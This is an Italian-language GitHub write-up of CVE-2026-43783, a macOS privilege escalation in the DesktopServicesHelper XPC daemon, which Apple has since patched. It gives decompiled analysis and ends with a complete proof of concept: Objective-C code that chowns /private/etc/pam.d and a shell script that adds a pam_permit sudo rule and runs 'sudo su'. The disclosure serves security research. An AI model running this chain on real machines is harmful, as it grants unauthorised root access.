andrd3v/cve-2026-43783Proof-of-concept e analisi tecnica per CVE-2026-43783, un'escalation locale di privilegi su macOS tramite DesktopServicesHelper XPC con chown arbitrario per ottenere i privilegi di root.
Il daemon che Finder utilizza per "riparare" i permessi sui file iCloud si è rivelato disposto a riparare i permessi su qualsiasi cosa, comprese le directory di sistema. In questo articolo vedremo come funziona DesktopServicesHelper sotto il cofano e perché una singola richiesta XPC è stata sufficiente per ottenere i privilegi di root.
Stavo cercando target con com.apple.private.tcc.allow con il valore kTCCServiceSystemPolicyAllFiles e DesktopServicesHelper ha attirato la mia attenzione. DesktopServicesHelper si trova in /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper, e Finder lo utilizza per operazioni sui file che richiedono privilegi elevati: spostare file, impostare permessi, lavorare con il Cestino.
Ho caricato il binario in IDA e sono andato in start(). Superata la solita configurazione di timer e code, crea un listener XPC, il punto di ingresso del daemon. Il listener registra un servizio mach sotto un nome specifico e inizia ad ascoltare le connessioni in arrivo. Qualsiasi processo che conosca questo nome può connettersi e inviare una richiesta. Ecco la parte chiave:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
La funzione `sub_1000709F4` restituisce il nome del servizio mach. In `start()` viene chiamata con argomento 0, il che significa che il daemon si registra con il nome `com.apple.DesktopServicesHelper`.```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48 è un blocco handler (callback) che il daemon invoca per ogni evento in arrivo. XPC è basato su messaggi: il client costruisce un dizionario con chiavi e valori, lo invia al daemon, e il daemon analizza il contenuto e decide cosa fare. Tutti gli eventi in arrivo finiscono in questo handler. Diamo un'occhiata all'interno.
La funzione invoke del blocco è sub_100032044. Su una nuova connessione, il daemon recupera prima l'euid e l'egid del client - ID utente effettivo e ID gruppo effettivo - gli identificatori dell'utente e del gruppo sotto cui viene eseguito il processo che si connette:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
Poi assegna un handler per i messaggi in arrivo sulla connessione:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C - è qui che arrivano le richieste XPC effettive dal client. Ora dobbiamo capire come il daemon decide quali richieste eseguire e quali rifiutare.
sub_10003AB2C è il dispatcher principale. È qui che il daemon decide cosa fare con una richiesta. La funzione è grande, quindi analizziamola pezzo per pezzo.
Innanzitutto, estrae la stringa "request" dal messaggio - il nome del comando che il client vuole eseguire:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
Poi il daemon recupera l'audit token del processo che si connette e verifica se è in esecuzione all'interno di App Sandbox. App Sandbox è un meccanismo di isolamento delle applicazioni macOS che limita l'accesso al file system, alla rete e ad altre risorse. Qui è dove si dirama:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
Se il client è in sandbox, il nome della richiesta viene verificato rispetto a una allowlist di sette stringhe. Se corrisponde, il controllo passa e la richiesta viene inoltrata. In caso contrario, sub_100034250 termina il daemon.
Se il client non è in sandbox, il daemon verifica la presenza dell'entitlement com.apple.private.tcc.allow con il valore kTCCServiceSystemPolicyAllFiles. L'assenza dell'entitlement comporta anch'essa la morte.
Dopo aver superato il controllo, la richiesta attraversa due tabelle di handler. Prima sub_10002F7C8, poi sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
Ora esaminiamo le tabelle dei gestori. La prima tabella (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
Niente di interessante qui. Otto handler (OperationSizing, SetChildPermissions, ...), tutti protetti da controlli di entitlement.
Ma c'è una seconda tabella - v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
Questo ci dà 21 handler. Il dispatcher funziona a cascata: prima cerca il nome della richiesta nella prima tabella (`sub_10002F7C8`, 8 comandi) - queste sono operazioni "fire-and-forget" che ricevono la connessione XPC e il peer (oggetto client) ma non restituiscono una risposta. Se non trovato - cerca nella seconda tabella (`sub_10002A194`, 21 comandi) - queste sono operazioni con una risposta, che ricevono inoltre una reply (oggetto per inviare il risultato al client).
Quasi tutti i comandi o non fanno nulla di interessante o sono vincolati a controlli di entitlement. Ma ce n'è uno aperto - `RepairPermissionsForCloudItems`. Troviamo il suo handler. Nell'assembly possiamo vedere che `sub_10002AA78` prende un puntatore a funzione come terzo argomento:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744. Abbiamo trovato l'unico handler accessibile dalla sandbox senza entitlement aggiuntivi. Ora vediamo cosa fa effettivamente con i dati che riceve.
L'handler sub_10002D744 fa tre cose. Innanzitutto, estrae la chiave "Paths" dal messaggio XPC e la deserializza tramite NSKeyedUnarchiver in un array di stringhe:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
Poi passa ciascun percorso a `sub_100029CE4` tramite `sub_100034B5C` per determinare se è necessario un "repair". Per i percorsi che necessitano di riparazione, chiama `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
Non esiste alcuna validazione del percorso: qualunque cosa venga passata viene elaborata. La funzione sub_100029CE4 verifica se è necessario un "repair". Ecco la logica chiave:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
La logica di controllo:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
Per i percorsi che necessitano di riparazione, viene chiamata sub_10002A11C - un semplice ciclo che itera sui risultati e chiama sub_100029440 per ciascuno di essi. Ecco la logica chiave di sub_100029440:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
È tutto. Il daemon chiama `fchown` su qualunque percorso venga fornito, senza verificare che risieda in `~/Library/Mobile Documents/` o in qualsiasi container iCloud. E se il percorso è una directory, la funzione attraversa ricorsivamente tutti i suoi contenuti e chiama `fchown` su ogni elemento.
Rileggilo. Lascialo assimilare. Passa qualsiasi directory - e ne possiedi tutti i contenuti.
## Riepilogo
La catena completa dalla richiesta XPC a `fchown`:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
Una richiesta XPC - e qualsiasi file o directory è nostra.
Quindi abbiamo un chown arbitrario su qualsiasi percorso del disco. Ora dobbiamo solo trasformarlo in root.
Su macOS, l'autenticazione passa attraverso PAM. Le configurazioni sono in /private/etc/pam.d/ - un file per ogni programma che verifica le password: sudo, login, su, ecc. La directory è di proprietà di root:wheel. Quindi possiamo prenderne possesso con il nostro chown. Dopodiché siamo liberi di creare il file /private/etc/pam.d/sudo_local con una singola riga:```
auth sufficient pam_permit.so
`pam_permit.so` è un modulo PAM che restituisce sempre successo. `sudo` controlla `sudo_local` prima della configurazione principale. Risultato: `sudo` non chiede più la password.
Ma c'è un intoppo. Non puoi semplicemente connetterti a `com.apple.DesktopServicesHelper` dalla sandbox: la sandbox blocca il mach-lookup verso questo servizio per impostazione predefinita. Ma il daemon stesso verifica che il processo chiamante sia in sandbox - e solo allora lascia passare `RepairPermissionsForCloudItems` senza un controllo delle entitlement. L'ironia: la sandbox qui non è una difesa - è un lasciapassare.
Per far passare il mach-lookup oltre la sandbox, abbiamo bisogno dell'entitlement `com.apple.security.temporary-exception.mach-lookup.global-name`. Ecco il set minimo di entitlement per l'applicazione PoC:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
Due entitlement.
com.apple.security.app-sandbox - abilita la sandbox (senza di essa il daemon richiederebbe un entitlement TCC e ci rifiuterebbe).
com.apple.security.temporary-exception.mach-lookup.global-name - un entitlement di eccezione della sandbox.
La sandbox non consente connessioni a tutti i servizi mach, e com.apple.DesktopServicesHelper non è nella lista consentita. Questa chiave aggiunge un'eccezione per un servizio specifico. È tutto ciò che ci serve. Il codice va direttamente in ViewController.m. Il metodo chiave è chownPath:, che si connette al daemon e invia la richiesta:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
Ci connettiamo a `com.apple.DesktopServicesHelper`, archiviamo il percorso in un `NSArray` tramite `NSKeyedArchiver` (come si aspetta il daemon), costruiamo un dizionario XPC con la chiave `"request"` = `"RepairPermissionsForCloudItems"`, e lo inviamo.
All'avvio dell'app, chiamiamo `chownPath:` su `/private/etc/pam.d` e controlliamo il risultato:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
200ms di attesa, poi lstat - se il proprietario è cambiato al nostro UID, il chown è riuscito.
Ora mettiamo tutto insieme. Lo script shell avvia l'applicazione PoC, attende che il daemon faccia il suo lavoro, verifica che il chown sia riuscito, scrive la regola PAM e ottiene root:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## La patch di Apple
Apple ha aggiunto un controllo di entitlement all'inizio del gestore `RepairPermissionsForCloudItems`:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
Ora solo i processi con l'entitlement privato com.apple.private.desktopservices.cloud-repair-perm possono invocare RepairPermissionsForCloudItems. Senza di esso - sub_100034250 termina il daemon. Il resto della logica della funzione rimane invariato.
| Data | Evento |
|---|---|
| 05/09/2026 | Segnalazione inviata ad Apple Product Security |
| 05/11/2026 |
Grazie per la lettura, buona caccia ai bug!
| Apple ha spostato la segnalazione in revisione |
| 05/13/2026 | Apple ha riprodotto il bug, fix pianificato per l'autunno |
| 05/26/2026 | Patch in macOS 26.6 beta 1 |
| 08/11/2026 | Assegnato CVE-2026-43783 |